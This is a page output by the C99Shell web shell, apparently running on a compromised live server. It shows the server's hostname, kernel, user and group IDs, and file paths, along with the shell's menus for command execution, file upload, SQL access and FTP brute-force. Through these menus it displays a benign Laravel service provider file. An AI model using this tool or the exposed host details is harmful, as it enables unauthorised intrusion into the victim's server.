!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/modules/Cockpit/Providers/   drwxr-xr-x
Free 28.5 GB of 117.98 GB (24.15%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Main.php (2.73 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\Cockpit\Providers;

use 
Illuminate\Support\Facades\Blade;
use 
Illuminate\Support\ServiceProvider as Provider;
use 
Illuminate\Database\Eloquent\Factory;

class 
Main extends Provider
{
    
/**
     * Boot the application events.
     *
     * @return void
     */
    
public function boot()
    {
        
$this->loadConfig();
        
$this->loadViews();
        
$this->loadViewComponents();
        
$this->loadTranslations();
        
$this->loadMigrations();
    }

    
/**
     * Register the service provider.
     *
     * @return void
     */
    
public function register()
    {
        
$this->loadRoutes();
    }

    
/**
     * Load config.
     *
     * @return void
     */
    
protected function loadConfig()
    {
        
$this->publishes([
            
__DIR__ '/../Config/config.php' => config_path('cockpit.php'),
        ], 
'config');

        
$this->mergeConfigFrom(
            
__DIR__ '/../Config/config.php''cockpit'
        
);
    }

    
/**
     * Load views.
     *
     * @return void
     */
    
public function loadViews()
    {
        
$viewPath resource_path('views/modules/cockpit');

        
$sourcePath __DIR__ '/../Resources/views';

        
$this->publishes([
            
$sourcePath => $viewPath
        
],'views');

        
$this->loadViewsFrom(array_merge(array_map(function ($path) {
            return 
$path '/modules/cockpit';
        }, 
\Config::get('view.paths')), [$sourcePath]), 'cockpit');
    }

    
/**
     * Load view components.
     *
     * @return void
     */
    
public function loadViewComponents()
    {
        
Blade::componentNamespace('Modules\Cockpit\View\Components''cockpit');
    }

    
/**
     * Load translations.
     *
     * @return void
     */
    
public function loadTranslations()
    {
        
$langPath resource_path('lang/modules/cockpit');

        if (
is_dir($langPath)) {
            
$this->loadTranslationsFrom($langPath'cockpit');
        } else {
            
$this->loadTranslationsFrom(__DIR__ '/../Resources/lang/en''cockpit');
        }
    }

    
/**
     * Load migrations.
     *
     * @return void
     */
    
public function loadMigrations()
    {
        
$this->loadMigrationsFrom(__DIR__ '/../Database/Migrations');
    }

    
/**
     * Load routes.
     *
     * @return void
     */
    
public function loadRoutes()
    {
        if (
app()->routesAreCached()) {
            return;
        }

        
$routes = [
            
'web.php',
            
'api.php',
        ];

        foreach (
$routes as $route) {
            
$this->loadRoutesFrom(__DIR__ '/../Routes/' $route);
        }
    }

    
/**
     * Get the services provided by the provider.
     *
     * @return array
     */
    
public function provides()
    {
        return [];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--